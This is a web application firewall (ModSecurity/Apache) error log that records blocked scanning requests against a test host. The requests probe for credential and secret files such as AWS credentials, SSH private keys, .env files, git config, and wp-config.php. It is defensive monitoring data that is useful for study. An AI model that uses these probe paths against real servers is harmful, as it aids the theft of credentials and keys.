[Sun May 19 01:48:07.721527 2024] [:error] [pid 3322733] [client 213.152.176.252:18041] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zkk-N7w1p00vlEHnJmFarAAAAAM"]
[Sun May 19 01:48:07.721528 2024] [:error] [pid 3322735] [client 213.152.176.252:57611] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7AAAAAU"]
[Sun May 19 01:48:07.721690 2024] [:error] [pid 3322733] [client 213.152.176.252:18041] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zkk-N7w1p00vlEHnJmFarAAAAAM"]
[Sun May 19 01:48:07.721690 2024] [:error] [pid 3322735] [client 213.152.176.252:57611] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7AAAAAU"]
[Sun May 19 01:48:07.794080 2024] [:error] [pid 3322735] [client 213.152.176.252:48097] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7QAAAAU"]
[Sun May 19 01:48:07.794453 2024] [:error] [pid 3322735] [client 213.152.176.252:48097] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7QAAAAU"]
[Sun May 19 01:48:07.794615 2024] [:error] [pid 3322735] [client 213.152.176.252:48097] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7QAAAAU"]
[Sun May 19 01:48:08.274146 2024] [:error] [pid 3322743] [client 213.152.176.252:59439] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zkk-OMD2XBkOTJVf-urfcAAAAAY"]
[Sun May 19 01:48:08.274423 2024] [:error] [pid 3322743] [client 213.152.176.252:59439] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zkk-OMD2XBkOTJVf-urfcAAAAAY"]
[Sun May 19 01:48:08.274621 2024] [:error] [pid 3322743] [client 213.152.176.252:59439] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zkk-OMD2XBkOTJVf-urfcAAAAAY"]
[Sun May 19 01:48:08.347094 2024] [authz_core:error] [pid 3322743] [client 213.152.176.252:56079] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun May 19 01:48:10.207898 2024] [:error] [pid 3321201] [client 213.152.176.252:59151] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GgAAACA"]
[Sun May 19 01:48:10.208233 2024] [:error] [pid 3321201] [client 213.152.176.252:59151] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GgAAACA"]
[Sun May 19 01:48:10.208415 2024] [:error] [pid 3321201] [client 213.152.176.252:59151] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GgAAACA"]
[Sun May 19 01:48:10.261052 2024] [:error] [pid 3322724] [client 213.152.176.252:16987] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Zkk-Ol9kLRmhEhWGL4_ldwAAAAE"]
[Sun May 19 01:48:10.261275 2024] [:error] [pid 3322724] [client 213.152.176.252:16987] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Zkk-Ol9kLRmhEhWGL4_ldwAAAAE"]
[Sun May 19 01:48:10.261431 2024] [:error] [pid 3322724] [client 213.152.176.252:16987] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Zkk-Ol9kLRmhEhWGL4_ldwAAAAE"]
[Sun May 19 01:48:10.280863 2024] [:error] [pid 3321201] [client 213.152.176.252:31995] [client 213.152.176.252] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GwAAACA"]
[Sun May 19 01:48:10.281086 2024] [:error] [pid 3321201] [client 213.152.176.252:31995] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GwAAACA"]
[Sun May 19 01:48:10.281250 2024] [:error] [pid 3321201] [client 213.152.176.252:31995] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Zkk-Ou245Qo6tNg9hzo3GwAAACA"]
[Mon May 20 15:28:53.658026 2024] [:error] [pid 3349180] [client 45.135.57.32:61007] [client 45.135.57.32] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZktQFS9yL-oRFM4APzSuUwAAAAk"], referer: http://forst-trento.test.indacotrentino.com/.git/HEAD
[Mon May 20 15:28:53.658493 2024] [:error] [pid 3349180] [client 45.135.57.32:61007] [client 45.135.57.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZktQFS9yL-oRFM4APzSuUwAAAAk"], referer: http://forst-trento.test.indacotrentino.com/.git/HEAD
[Mon May 20 15:28:53.658743 2024] [:error] [pid 3349180] [client 45.135.57.32:61007] [client 45.135.57.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZktQFS9yL-oRFM4APzSuUwAAAAk"], referer: http://forst-trento.test.indacotrentino.com/.git/HEAD
[Tue May 21 10:47:51.029655 2024] [:error] [pid 3367150] [client 179.43.188.122:51444] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkxftxqLAGNc6kqatsyv1AAAAAQ"]
[Tue May 21 10:47:51.030468 2024] [:error] [pid 3367150] [client 179.43.188.122:51444] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkxftxqLAGNc6kqatsyv1AAAAAQ"]
[Tue May 21 10:47:51.030910 2024] [:error] [pid 3367150] [client 179.43.188.122:51444] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkxftxqLAGNc6kqatsyv1AAAAAQ"]
[Wed May 22 02:49:23.275494 2024] [:error] [pid 3387998] [client 44.197.213.90:50472] [client 44.197.213.90] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zk1BE_sm1UZRE2mAYuLJdAAAAAc"]
[Wed May 22 02:49:23.276194 2024] [:error] [pid 3387998] [client 44.197.213.90:50472] [client 44.197.213.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zk1BE_sm1UZRE2mAYuLJdAAAAAc"]
[Wed May 22 02:49:23.276649 2024] [:error] [pid 3387998] [client 44.197.213.90:50472] [client 44.197.213.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zk1BE_sm1UZRE2mAYuLJdAAAAAc"]
[Wed May 22 02:49:23.592118 2024] [:error] [pid 3386919] [client 44.197.213.90:50476] [client 44.197.213.90] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Zk1BE2VZ6qBbo-FQ0U4_SgAAAAQ"]
[Wed May 22 02:49:23.592578 2024] [:error] [pid 3386919] [client 44.197.213.90:50476] [client 44.197.213.90] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Zk1BE2VZ6qBbo-FQ0U4_SgAAAAQ"]
[Wed May 22 02:49:23.593099 2024] [:error] [pid 3386919] [client 44.197.213.90:50476] [client 44.197.213.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Zk1BE2VZ6qBbo-FQ0U4_SgAAAAQ"]
[Wed May 22 02:49:23.593606 2024] [:error] [pid 3386919] [client 44.197.213.90:50476] [client 44.197.213.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "Zk1BE2VZ6qBbo-FQ0U4_SgAAAAQ"]
[Wed May 22 02:49:23.907148 2024] [:error] [pid 3386933] [client 44.197.213.90:50488] [client 44.197.213.90] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Zk1BExzC5TfnqiYn_yjHNgAAAAM"]
[Wed May 22 02:49:23.907634 2024] [:error] [pid 3386933] [client 44.197.213.90:50488] [client 44.197.213.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Zk1BExzC5TfnqiYn_yjHNgAAAAM"]
[Wed May 22 02:49:23.908081 2024] [:error] [pid 3386933] [client 44.197.213.90:50488] [client 44.197.213.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Zk1BExzC5TfnqiYn_yjHNgAAAAM"]
[Wed May 22 02:49:24.223434 2024] [:error] [pid 3386918] [client 44.197.213.90:50490] [client 44.197.213.90] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Zk1BFHwrkUJqQ_kVbaf-MgAAAAI"]
[Wed May 22 02:49:24.223917 2024] [:error] [pid 3386918] [client 44.197.213.90:50490] [client 44.197.213.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Zk1BFHwrkUJqQ_kVbaf-MgAAAAI"]
[Wed May 22 02:49:24.224387 2024] [:error] [pid 3386918] [client 44.197.213.90:50490] [client 44.197.213.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "Zk1BFHwrkUJqQ_kVbaf-MgAAAAI"]
[Wed May 22 02:49:24.684483 2024] [authz_core:error] [pid 3386917] [client 44.197.213.90:50500] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
